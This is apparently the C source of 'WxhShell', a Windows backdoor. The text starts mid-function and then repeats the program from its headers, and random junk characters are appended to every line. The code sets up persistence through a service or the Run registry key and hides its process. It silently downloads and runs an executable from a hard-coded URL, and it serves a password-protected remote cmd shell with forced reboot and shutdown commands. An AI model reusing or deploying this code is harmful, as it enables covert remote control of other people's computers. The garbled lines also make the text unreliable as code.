    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0/g 0=dW=  
    if(Boot(SHUTDOWN)) X6Y<pw`y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n#.~XNbxv  
    else { 8*-N@j8  
    closesocket(wsh); Q r n^T  
    ExitThread(0); hU]Gv)B  
    } Y)7LkZO(y  
    break; uyfH;9L5$  
    } Q^Lk^PP7  
  // 获取shell i^O(JC  
  case 's': { v})-:  
    CmdShell(wsh); Z: e|~#  
    closesocket(wsh); @C=Dk  
    ExitThread(0); `g~T #U\>d  
    break; S,'y L7s  
  } ~"t33U6  
  // 退出 faqh }4  
  case 'x': { (:TZ~"VY  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); QnJ(C]cW  
    CloseIt(wsh); 'x{E#4A  
    break; ;FI"N@z  
    } kCuIEv@  
  // 离开 LY? `+/  
  case 'q': { BY&+fK ae  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); xGU~FU  
    closesocket(wsh); iuxS=3lT"K  
    WSACleanup(); r^j iK\*  
    exit(1); 9pPohR*#V  
    break; ,[j'OyR  
        } ;`(l)X+7  
  } 'T_Vm%\)  
  } Zd Li<1P*d  
]-7$wVQ<  
  // 提示信息 <"SOH; w  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /2&:sHWW  
} chQCl3&e^  
  } FVw4BUOmi  
"y5LojdCs  
  return; -9(9LU2  
} 0~;Owu  
;t_'87h$y  
// shell模块句柄 P%nN#Qm  
int CmdShell(SOCKET sock) );~JyoDo  
{ gTby%6- \|  
STARTUPINFO si; S.Z2gFE&tu  
ZeroMemory(&si,sizeof(si)); wQnW2)9!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LKx<hl$O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; SD=kpf;  
PROCESS_INFORMATION ProcessInfo; "'8^OZR  
char cmdline[]="cmd"; o/6 'g)r*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hh$V[/iK  
  return 0; M|l`2Hpe  
} >0kZ-M5  
q7!$-  
// 自身启动模式 pod=|(c  
int StartFromService(void) foi@z9  
{ "PI]k  
typedef struct V7pe|]%r  
{ 6')pM&`t  
  DWORD ExitStatus; ;rK= jz^Q  
  DWORD PebBaseAddress; UF$JVb  
  DWORD AffinityMask; (8$; 4q[!  
  DWORD BasePriority; a#_=c>h;  
  ULONG UniqueProcessId; 4)zHkN+  
  ULONG InheritedFromUniqueProcessId; HLa3lUo  
}   PROCESS_BASIC_INFORMATION; "B^c  
SBNeN]  
PROCNTQSIP NtQueryInformationProcess; 4J"S?HsW|  
Km=dId7]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yGN2/>]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [ BpZ{Ql  
jEkO #xI  
  HANDLE             hProcess; |v[0(  
  PROCESS_BASIC_INFORMATION pbi; /&`sB|  
$XOs(>~"r  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y7?n;3U]CS  
  if(NULL == hInst ) return 0; ioZ{2kK  
YKk*QcAn  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); VPAi[<FzOG  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); z3\WcW7|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <x^Ab#K"  
RF,[1O-\O  
  if (!NtQueryInformationProcess) return 0; Vh1R!>XY  
1F*3K3T {  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *G6Py,- !f  
  if(!hProcess) return 0; L"_l(<g  
_#jR6g TY  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <hJ%]]  
aX)k (*|  
  CloseHandle(hProcess); aJ4y%Gy?  
SY[7<BUZ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;$VQRXq  
if(hProcess==NULL) return 0;  MeP,8,n'  
' )0eB:  
HMODULE hMod; ytWTJ>L  
char procName[255]; 7,.3'cCL^  
unsigned long cbNeeded; e"){B  
B@8M2Pl  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -MCDX^ >P  
dr54 D  
  CloseHandle(hProcess); oB$P6   
4@Q`8N.  
if(strstr(procName,"services")) return 1; // 以服务启动 "B$r{ vG  
=vpXYj  
  return 0; // 注册表启动 d'x'hp%  
} wa)E.(x  
[!<W{ ($5  
// 主模块 M9t`w-@_w  
int StartWxhshell(LPSTR lpCmdLine) ::lD7@Wg  
{ wT taj08D  
  SOCKET wsl; A#&,S4Wi|  
BOOL val=TRUE; h&k*i  
  int port=0; IwTAM9n  
  struct sockaddr_in door; " iz'x-wy  
k)a3j{{  
  if(wscfg.ws_autoins) Install(); vg.K-"yQW  
mZ[tB/  
port=atoi(lpCmdLine); 0tFR. sS?  
jQV.U~25Q  
if(port<=0) port=wscfg.ws_port; 5LkpfmR  
cl'#nLPz;  
  WSADATA data; k;fy8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~+HZQv3Y  
5C G ,l  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~vL`[JiK  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O1 KT  
  door.sin_family = AF_INET; Z ZMz0^V  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I?z*.yA*  
  door.sin_port = htons(port); tn\PxT  
KysJ3G.k\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )J"*[[e  
closesocket(wsl); >$g+Gx\v4  
return 1; =Qf.  
} RyN}Gz/YN  
FUD M]:XQ  
  if(listen(wsl,2) == INVALID_SOCKET) { vhEXtjL  
closesocket(wsl); Q!T+Jc9N  
return 1; &|LP>'H;  
} Mq#sSBE<K  
  Wxhshell(wsl); z0v|%&IK  
  WSACleanup(); b}C6/ zW  
CZ~%qPwDw  
return 0; $3BH82  
[%1 87dz:D  
} 0C,2gcq  
M?nYplC  
// 以NT服务方式启动 JtB]EvpL}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ({5`C dVi  
{ `El)uTnuZ[  
DWORD   status = 0; xc&&UKd  
  DWORD   specificError = 0xfffffff; (c'kZ9&  
kgQyG[u  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ln4zy*v{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 'A#bBn,|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jkrv2 `"  
  serviceStatus.dwWin32ExitCode     = 0; "lT>V)NB'  
  serviceStatus.dwServiceSpecificExitCode = 0; .Z2zv*  
  serviceStatus.dwCheckPoint       = 0; T 8. to  
  serviceStatus.dwWaitHint       = 0; rDEd MT  
7/UdE:~]*=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ITmW/Im5  
  if (hServiceStatusHandle==0) return; W3HTQGV  
- / tzt  
status = GetLastError(); (pud`@D;[  
  if (status!=NO_ERROR) $yi[wwf 4  
{  Bm\OH#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; sT;:V  
    serviceStatus.dwCheckPoint       = 0; !ot$Q  
    serviceStatus.dwWaitHint       = 0; ?%]?#4bkc  
    serviceStatus.dwWin32ExitCode     = status; mD]^a;U[X  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8euh]+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); O\5q_>]  
    return; ?04$1n:  
  } EYaX@|)  
L*'3f~@Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8YLS/dN0 w  
  serviceStatus.dwCheckPoint       = 0; /5s,< 0Kz  
  serviceStatus.dwWaitHint       = 0; \qA^3L~;5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); G#f(oGn :  
} +'!4kwTR  
:VvJx]  
// 处理NT服务事件,比如:启动、停止 x$WdW+glZ-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l`' lqnhv  
{ /iwL$xQQ  
switch(fdwControl) -|/kg7IO\  
{ NA<6s]Cs.  
case SERVICE_CONTROL_STOP: gT=RJB  
  serviceStatus.dwWin32ExitCode = 0; Sd\+f6x  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; b- FJMY  
  serviceStatus.dwCheckPoint   = 0; wvu h   
  serviceStatus.dwWaitHint     = 0; B+pJWl8u  
  { Kd%>:E*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D,<#pNO_  
  } `(dRb  
  return; OZc.Rtgc  
case SERVICE_CONTROL_PAUSE: [h=[@jiB  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Q*c |!< &e  
  break;  M .J  
case SERVICE_CONTROL_CONTINUE: .o_?n.H'&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; eN?:3cP#l  
  break; "?Mf%u1R  
case SERVICE_CONTROL_INTERROGATE: 6j{O/  
  break; D,)^l@UP  
}; I,Z'ed..  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `JrvD  
} MV,;l94?%=  
8>(DQ"h  
// 标准应用程序主函数 OD~TWT_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wRLj>nc  
{ Hrd z1:#6,  
aN}l&4d  
// 获取操作系统版本 xn`<g|"#  
OsIsNt=GetOsVer(); 1$^=M[v  
GetModuleFileName(NULL,ExeFile,MAX_PATH); puPYM"  
==W`qC4n?n  
  // 从命令行安装 tG"lI/  
  if(strpbrk(lpCmdLine,"iI")) Install(); 50Kv4a"  
@m99xF\e  
  // 下载执行文件 V1= (^{p8  
if(wscfg.ws_downexe) { ! ~5=tK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A[mm_+D>  
  WinExec(wscfg.ws_filenam,SW_HIDE); Pp9nilb_(  
} Hc"FW5R  
(qQ|s@O  
if(!OsIsNt) { |vLlEN/S  
// 如果时win9x,隐藏进程并且设置为注册表启动 u}L;/1,B  
HideProc(); &8^1:CcE  
StartWxhshell(lpCmdLine); SyWLPh  
} g0n 5&X  
else c{SD=wRt,y  
  if(StartFromService()) 4\?GA`@  
  // 以服务方式启动 Db5y";T  
  StartServiceCtrlDispatcher(DispatchTable); 0u7\*Iy  
else :: 2pDtMS  
  // 普通方式启动 )b_ GKA `  
  StartWxhshell(lpCmdLine); ::Nhs/B/  
7Hm/ g  
return 0; ^^m3 11=  
} k"V@9q;*  
 #VA8a=t  
*G,'V,?  
iOO1\9{@  
=========================================== >FRJvZ6  
HcKZmL. wp  
5csqu^/y  
6'^Gh B  
UVIR P#  
B&Igm<72x  
" my|UlZ(qg  
)U':NV2  
#include <stdio.h> 1sHaG  
#include <string.h> bR*/d-v^  
#include <windows.h> jRv j:H9  
#include <winsock2.h> xqA XfJ.  
#include <winsvc.h> ~1`ZPLVG  
#include <urlmon.h> e#uk+]  
+l,6}tV9  
#pragma comment (lib, "Ws2_32.lib") ONkHHyT  
#pragma comment (lib, "urlmon.lib") M\f1]L|8d  
4X prVB  
#define MAX_USER   100 // 最大客户端连接数 5jYZ+OB  
#define BUF_SOCK   200 // sock buffer Q5N;MpJ-  
#define KEY_BUFF   255 // 输入 buffer :le"FFfk  
pOz4>R  
#define REBOOT     0   // 重启 *YI>Q@F9  
#define SHUTDOWN   1   // 关机 npW1Z3n  
vG7aT  
#define DEF_PORT   5000 // 监听端口 ^z^ UFW  
<f'2dT@6  
#define REG_LEN     16   // 注册表键长度 xg>AW Q  
#define SVC_LEN     80   // NT服务名长度 jP-=x(  
ji|`S\u#b  
// 从dll定义API H:DTvv8e{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LE" t'R   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y.<&phv  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); p^s k?E  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )L%i"=<Bdy  
&>Ko}?w  
// wxhshell配置信息 #O |Z\|n  
struct WSCFG { mO UIGlv  
  int ws_port;         // 监听端口 GG}(*pOr  
  char ws_passstr[REG_LEN]; // 口令 u7Xr!d+wR  
  int ws_autoins;       // 安装标记, 1=yes 0=no #78P_{#!  
  char ws_regname[REG_LEN]; // 注册表键名 s|1BqoE  
  char ws_svcname[REG_LEN]; // 服务名 k$hNibpkt  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Nd"Rt  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 gmY*}d` 'f  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p=U/l#xO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,3zF_y(*Y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" A/xWe  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 OEkx}.w  
aC&ZV}8of  
}; l/JE}Eg(  
zMXlLRC0  
// default Wxhshell configuration :IZ(9=hs  
struct WSCFG wscfg={DEF_PORT, ?rD`'B  
    "xuhuanlingzhe", \ :*<En0  
    1, jmAQ!y|W.  
    "Wxhshell", 0V:DeX$bZ  
    "Wxhshell", B f_oIc  
            "WxhShell Service", :jFKTG  
    "Wrsky Windows CmdShell Service", !"dbK'jb^  
    "Please Input Your Password: ", SQZUkKfb  
  1, -%U 15W;  
  "http://www.wrsky.com/wxhshell.exe", ||lI_B  
  "Wxhshell.exe" .o2]ndT/J  
    }; [;Q8xvVZ'  
8"#Ix1#  
// 消息定义模块 mh#dnxeR  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; KXgC]IO~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &tULSp@J  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }Ot I8;>  
char *msg_ws_ext="\n\rExit."; G$5N8k[2  
char *msg_ws_end="\n\rQuit."; fCMH<}w  
char *msg_ws_boot="\n\rReboot..."; .=VtMi$n  
char *msg_ws_poff="\n\rShutdown..."; e*Gm()Vu,  
char *msg_ws_down="\n\rSave to "; o@o6<OP^  
myVV5#{  
char *msg_ws_err="\n\rErr!"; 9Q#eu~R  
char *msg_ws_ok="\n\rOK!"; 6!,Am^uXM  
JYbE(&l%de  
char ExeFile[MAX_PATH]; x=>+.'K  
int nUser = 0; ">n38:?R  
HANDLE handles[MAX_USER]; [U]ouh)  
int OsIsNt; : .-z) C}  
o|s JTY  
SERVICE_STATUS       serviceStatus; #L{+V?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .Z!!x  
m})q8b!S  
// 函数声明 %G<!&E!0h  
int Install(void); 0 gyg  
int Uninstall(void); +P7A`{Ae  
int DownloadFile(char *sURL, SOCKET wsh); _)7dy2%{q  
int Boot(int flag); ;BEg"cm  
void HideProc(void); m\h/D7zg  
int GetOsVer(void); JeR8Mb  
int Wxhshell(SOCKET wsl); r|XNS>V ,$  
void TalkWithClient(void *cs); <bwsK,C  
int CmdShell(SOCKET sock); ? [?{X~uq  
int StartFromService(void); {QTrH-C  
int StartWxhshell(LPSTR lpCmdLine); H<M ggs-  
6 1= ?(Iw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3gW4\2|T  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); K)Nbl^6x  
o b  
// 数据结构和表定义 v5|X=B>&>  
SERVICE_TABLE_ENTRY DispatchTable[] = y@;4F n/  
{ oh '\,zpL  
{wscfg.ws_svcname, NTServiceMain}, |5wuYG  
{NULL, NULL} 1Ftl1uf  
}; JD^&d~n_  
:<OInKE>Cx  
// 自我安装 y(K?mtQ   
int Install(void) !@ml^&hP  
{ a2dlz@)J  
  char svExeFile[MAX_PATH]; ?-g=Rfpag  
  HKEY key; OQ$77]XtvL  
  strcpy(svExeFile,ExeFile); Jlw oSe:S  
wX6VapFboI  
// 如果是win9x系统,修改注册表设为自启动 qAsZ,ik  
if(!OsIsNt) { $X %GzrN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }2.^n{Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v hUn3|  
  RegCloseKey(key); T/ CI?sn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s D] W/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rsP3?.E  
  RegCloseKey(key); uf* sI  
  return 0; q|,I\H5}  
    } rO% |PRP  
  } ?Uzs^rsb  
} D<[4}og&]  
else { \ A\a=A[  
xo0",i f8  
// 如果是NT以上系统,安装为系统服务 ,.` ";='o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p~h= ]o'i  
if (schSCManager!=0) 4-`C !q  
{ =|n NC  
  SC_HANDLE schService = CreateService jg?B][  
  ( Dg]ua5jk  
  schSCManager, W"fdK_F\  
  wscfg.ws_svcname, B.&ly/d  
  wscfg.ws_svcdisp, NIDK:q dR  
  SERVICE_ALL_ACCESS, +[9~ta|j  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9n!<M)E  
  SERVICE_AUTO_START, 4 uv'l3  
  SERVICE_ERROR_NORMAL, im^G{3z  
  svExeFile, YMG{xGPtM  
  NULL, cO2 .gQo'  
  NULL, ]Au78Yom  
  NULL, f/ 9]o  
  NULL, &oevgG  
  NULL ,cs`6Bd4  
  ); i=%wZHc;  
  if (schService!=0) .J3lo:  
  { S @\Pki+n[  
  CloseServiceHandle(schService); yzhr"5_  
  CloseServiceHandle(schSCManager); or/Y"\-!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y&\ J  
  strcat(svExeFile,wscfg.ws_svcname); raGov`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { GEq?^z~i  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8=Di+r  
  RegCloseKey(key); @`U78)]  
  return 0; w%cd $"EH  
    } R|h9ilc  
  } ]*pALT6  
  CloseServiceHandle(schSCManager); 4J2NIFZ  
} _;J7#j~}  
} E.?|L-fy  
U]dz_%CRP  
return 1; "])X0z yM  
}  *5 FSq  
pB{QO4q n  
// 自我卸载 j_SRCm~:  
int Uninstall(void) h2+vl@X  
{ q>w@W:tZ  
  HKEY key; #rzq9}9tB  
tv)x(MX  
if(!OsIsNt) { v\:>} <gc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @DfjeS)u^  
  RegDeleteValue(key,wscfg.ws_regname); gSK (BP|  
  RegCloseKey(key); +60zJ 4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &fq-U5zH  
  RegDeleteValue(key,wscfg.ws_regname); Skl1%`  
  RegCloseKey(key); '@RlKMnN  
  return 0; / O6n[qj|  
  } z}yntY]n  
} c*K-?n9YMz  
} -ZH]i}$  
else { U/Z!c\r  
?s#DD,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "P.7FD  
if (schSCManager!=0) {w}PV5<  
{ q .nsGbl  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [3;J,P=&  
  if (schService!=0) m!a<\0^  
  { %FLz}QW*  
  if(DeleteService(schService)!=0) { W}+Q!T=  
  CloseServiceHandle(schService); O[3J Px  
  CloseServiceHandle(schSCManager); &6FRw0GX  
  return 0; =:v\}/  
  } C78YHjy  
  CloseServiceHandle(schService); jwyJ=W-  
  } rPkV=9ull,  
  CloseServiceHandle(schSCManager); bV|:MW <Wv  
} <_8\}!  
} ' ~lC85  
YN9ug3O+  
return 1; {-J/ <a@  
} Wk$[;>NU3  
'81$8xxdY  
// 从指定url下载文件 ,sP7/S)FR  
int DownloadFile(char *sURL, SOCKET wsh) qbu Lcy3  
{ m*  |3  
  HRESULT hr; {l.) *#O  
char seps[]= "/"; 1$?O5.X:  
char *token; 5W>i'6*  
char *file; yp wVzCUG  
char myURL[MAX_PATH]; Duj9PV`2  
char myFILE[MAX_PATH]; K=M5d^K<E  
NtkEb :  
strcpy(myURL,sURL); .<^dv?@  
  token=strtok(myURL,seps); l~AmHw e  
  while(token!=NULL) FgrOZI;_  
  { 7&/iuP$.  
    file=token; 7=u\D  
  token=strtok(NULL,seps); 0XSZ3dY&+  
  } ;n00kel$  
P )_g t  
GetCurrentDirectory(MAX_PATH,myFILE); 3X89mIDr  
strcat(myFILE, "\\"); &Ph@uZ\  
strcat(myFILE, file); B-|:l 7  
  send(wsh,myFILE,strlen(myFILE),0); YMj z , N  
send(wsh,"...",3,0); ueDG1)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k]l M%  
  if(hr==S_OK) Y b]eWLv  
return 0; *5hg}[n2  
else !h}x,=`z/  
return 1; *J=`"^BO  
52q@&')D4M  
} Q9q:HGXxv  
3%|LMX]M5_  
// 系统电源模块 jl{>>TW{x  
int Boot(int flag) ' ]l,  
{ ~A}"s-Kq5  
  HANDLE hToken; .d^8w97  
  TOKEN_PRIVILEGES tkp; &sh %]o8  
2Y\,[$z  
  if(OsIsNt) { 29z+<?K{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); epJVs0W  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tcSn`+Bu_`  
    tkp.PrivilegeCount = 1; h<4WY#Y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; SWY?0Pu  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); QB'-`GwL  
if(flag==REBOOT) { :-xp'_\L  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hdQ[=PH)  
  return 0; 5.0BaVwi  
} =PP]LDlJs  
else { &Zs h-|N  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {vx{Hwyv  
  return 0; aDm$^yP  
} ,jQkR^]j-  
  } y;keOI!  
  else { $T8Ni!#/C  
if(flag==REBOOT) { <oS2a/Nd  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /PE3>"|wE  
  return 0; o_t2 Z  
} \kF}E3~+#  
else { eA$9)K1GO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J~V`"uo  
  return 0; e57}.pF^  
} IfF<8~~E  
} 3:&!Q*i;  
-8HIsRh  
return 1; l"*qj#FD  
} ;VSHXU'H  
z|=l^u6uS  
// win9x进程隐藏模块 >7!4o9)c  
void HideProc(void) B%6>2S=E  
{ 1 ?]Gl+}  
w{?nX6a@p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Jt43+]  
  if ( hKernel != NULL ) HB\<nK  
  { ELk$ lm&@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {oy(08 `6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yyPkjUy[  
    FreeLibrary(hKernel); MlkTrKdGi  
  } AA;\7;k{  
eG72=l)Mz  
return; yeFt0\=H  
} $u|p(E:*  
4Smno%jq  
// 获取操作系统版本 <:-|>R".  
int GetOsVer(void) J Xo_l  
{ r50}j  
  OSVERSIONINFO winfo; >k<.bEx(A  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?5K.#>{  
  GetVersionEx(&winfo); "G)-:!H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nmn$$=~)  
  return 1; w}zl=w{G  
  else KV k 36;$  
  return 0; ld -c?  
} 5u'"m<4  
kG[u$[B  
// 客户端句柄模块 yBXdj`bV  
int Wxhshell(SOCKET wsl) ^:5 ;H=.  
{ %a<N[H3NV@  
  SOCKET wsh; SouPk/-B80  
  struct sockaddr_in client; k?0yH$)'t  
  DWORD myID; ,)hUL/r6  
uhSRl~tn  
  while(nUser<MAX_USER) j2}C  
{ 5?kJ]:  
  int nSize=sizeof(client); ajq[ID  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1"RO)&  
  if(wsh==INVALID_SOCKET) return 1;  &~:b &  
fKY6stJE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); K{B[(](  
if(handles[nUser]==0) DNcf2_m  
  closesocket(wsh); |Kky+*  
else UBs'3M  
  nUser++; m]R< :_  
  } ,Bk mf|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); kIWQ _2  
8G`fSac`  
  return 0; ~>3$Id:  
} 9eo$Duws  
KFCrJ )  
// 关闭 socket "X4OUk  
void CloseIt(SOCKET wsh) ?DzKqsS'  
{ S75wtz)e  
closesocket(wsh); hn{]Q@(I  
nUser--; >0~|iRySi  
ExitThread(0); r&@#,g  
} NVU@m+m~  
1q]V/V}  
// 客户端请求句柄 5, R\tJCK  
void TalkWithClient(void *cs) e7T"?s  
{ AWsO? |YT  
qX^#fk7]  
  SOCKET wsh=(SOCKET)cs; N%v}$58Z  
  char pwd[SVC_LEN]; mjO4GpG3  
  char cmd[KEY_BUFF]; .xS3,O_[  
char chr[1]; 0%+S@_|  
int i,j; dnTB$8&  
#56}RV1  
  while (nUser < MAX_USER) { <e-9We."  
Qu,W3d  
if(wscfg.ws_passstr) { Y!c RzQ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ``kiAKMy  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h}k&#X)7  
  //ZeroMemory(pwd,KEY_BUFF); Eo 5p-  
      i=0; _tTtq/z<  
  while(i<SVC_LEN) { Gl}[1<~o  
Ox7v*[x'  
  // 设置超时 "aIiW VQ  
  fd_set FdRead; td%]l1  
  struct timeval TimeOut; JV(qTb W  
  FD_ZERO(&FdRead); De%WT:v  
  FD_SET(wsh,&FdRead); `[3Iz$K=  
  TimeOut.tv_sec=8; :0|]cHm  
  TimeOut.tv_usec=0; -CtLL _I  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,l^; ZE  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }R4%%)j(Vj  
p \A^kX^5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^2%_AP0=  
  pwd=chr[0]; :IlRn`9X`  
  if(chr[0]==0xd || chr[0]==0xa) { [* ,k  
  pwd=0; ,*$L_itL  
  break; `WQz_}TqB  
  } /yPFts_q  
  i++; ,~u5SR  
    } N7Vv"o  
l5_RG,O0A  
  // 如果是非法用户,关闭 socket ! 7A _UA8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )#n0~7 &  
} E/2kX3}  
O32p8AxEz  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'Vq <;.A  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Dg3S n|!f  
RAYDl=}  
while(1) { OD7tM0Wn  
iU"jV*P]  
  ZeroMemory(cmd,KEY_BUFF); d2`m0U  
 Aq674   
      // 自动支持客户端 telnet标准   K>iM6Uv  
  j=0; H&\[iZ| -N  
  while(j<KEY_BUFF) { d.Wq@(ZoA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aNLRUdc.  
  cmd[j]=chr[0]; H_RV#BW&  
  if(chr[0]==0xa || chr[0]==0xd) { c<-F_+[  
  cmd[j]=0; C1&~Y.6m  
  break; DuX7  
  } ,rj_P  
  j++; Qz)1wf'y  
    } xj`ni G  
TbX#K:l  
  // 下载文件 e/hA>  
  if(strstr(cmd,"http://")) { ~R^~?Y%+<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); tmT/4Ia  
  if(DownloadFile(cmd,wsh)) C#{s[l\]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); HwfBbWHr'  
  else 1bjhEO W  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7i^7sT8t  
  } S. my" j  
